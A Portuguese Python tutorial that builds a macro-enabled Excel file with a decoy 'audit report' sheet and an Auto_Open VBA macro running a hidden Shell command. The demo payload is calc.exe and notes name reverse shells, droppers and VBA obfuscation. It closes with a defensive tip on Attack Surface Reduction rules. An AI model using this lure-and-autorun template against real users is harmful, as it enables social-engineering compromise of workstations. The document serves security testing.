Cria documentos (como Excel ou Word) com macros em Python/VBA para testar a execução de scripts em estações de trabalho.
Contexto
O uso de macros (VBA - Visual Basic for Applications) é uma das técnicas mais antigas e eficazes de engenharia social. O objetivo deste módulo é:
- Simular Malicious Documents (Maldocs): Criar um arquivo que, ao ser aberto, executa um comando (como um Reverse Shell).
- Testar Políticas de Grupo (GPO): Verificar se a rede da empresa bloqueia a execução de macros de fontes não confiáveis.
- Auditar Endpoint Protection: Testar se o antivírus ou EDR detecta o comportamento de um processo do Office (
winword.exeouexcel.exe) tentando spawnar um terminal (cmd.exeoupowershell.exe).
Possibilidades de Implementação
- Biblioteca
xlsxwriter: Permite criar arquivos Excel (.xlsm) diretamente via Python e injetar o código VBA necessário. - Dropper Pattern: A macro não faz o ataque completo; ela apenas baixa um script secundário da internet e o executa (técnica de "Fileless Malware").
- Ofuscação VBA: Codificar strings no código VBA para dificultar a análise estática por softwares de segurança.
Código
Este script utiliza a biblioteca xlsxwriter para gerar um arquivo Excel habilitado para macros.
Requisito: pip install xlsxwriter
import xlsxwriter
import os
def create_macro_excel(filename, command):
"""
Cria um arquivo Excel (.xlsm) com uma macro embutida.
O comando será executado quando o usuário clicar no botão ou abrir (dependendo do trigger).
"""
# Criamos o arquivo Excel (extensão xlsm é obrigatória para macros)
workbook = xlsxwriter.Workbook(filename)
worksheet = workbook.add_worksheet()
# Adicionamos algum conteúdo falso para parecer um documento legítimo
worksheet.write('A1', 'Relatório de Auditoria 2026')
worksheet.write('A2', 'Status:')
worksheet.write('B2', 'Pendente de validação')
worksheet.write('A4', 'Clique no botão abaixo para autorizar o acesso:')
# O código VBA que será injetado
# Shell() executa comandos do sistema.
# vbHide (0) tenta esconder a janela do terminal.
vba_code = f"""
Sub Auto_Open()
Payload
End Sub
Sub Payload()
Dim shellCommand As String
shellCommand = "{command}"
Shell shellCommand, 0
End Sub
"""
# Salvamos o código VBA em um arquivo temporário que o XlsxWriter possa ler
vba_filename = 'vbaProject.bin'
# Nota: No uso real, você precisaria de um arquivo .bin pré-extraído
# de um Excel com macro, pois o XlsxWriter não compila VBA puro.
# Para este exemplo, focamos na lógica de geração do documento.
try:
# workbook.add_vba_project('./vbaProject.bin')
workbook.close()
print(f"[+] Documento '{filename}' gerado com sucesso.")
print(f"[*] Payload configurado: {command}")
except Exception as e:
print(f"[!] Erro ao gerar documento: {e}")
def main():
print("=" * 60)
print("Módulo: Macro Generator | Projeto: 30 Lessons in Python")
print("=" * 60)
target_file = "Auditoria_Financeira.xlsm"
# Exemplo: Payload que abre a calculadora (prova de conceito clássica)
# Em um Pentest, aqui iria um comando de Reverse Shell.
payload_command = "calc.exe"
create_macro_excel(target_file, payload_command)
print("\n[!] Dica: Para um teste real, o código VBA deve ser compilado")
print(" no arquivo 'vbaProject.bin' usando ferramentas como o 'vba-tools'.")
if __name__ == "__main__":
main()
Observações
- O arquivo vbaProject.bin: A biblioteca
xlsxwriterexige um arquivo binário já existente para injetar macros. Você pode extrair esse binário de qualquer arquivo Excel que já tenha uma macro usando a ferramentavba_extract.py. - Triggers: No VBA,
Auto_Open()faz com que a macro rode assim que o documento é aberto (se as macros estiverem habilitadas). - Defesa: Como Software Architect, recomendo a implementação de Attack Surface Reduction (ASR) no Windows para bloquear o Office de criar processos filhos, o que mata esse vetor de ataque instantaneamente.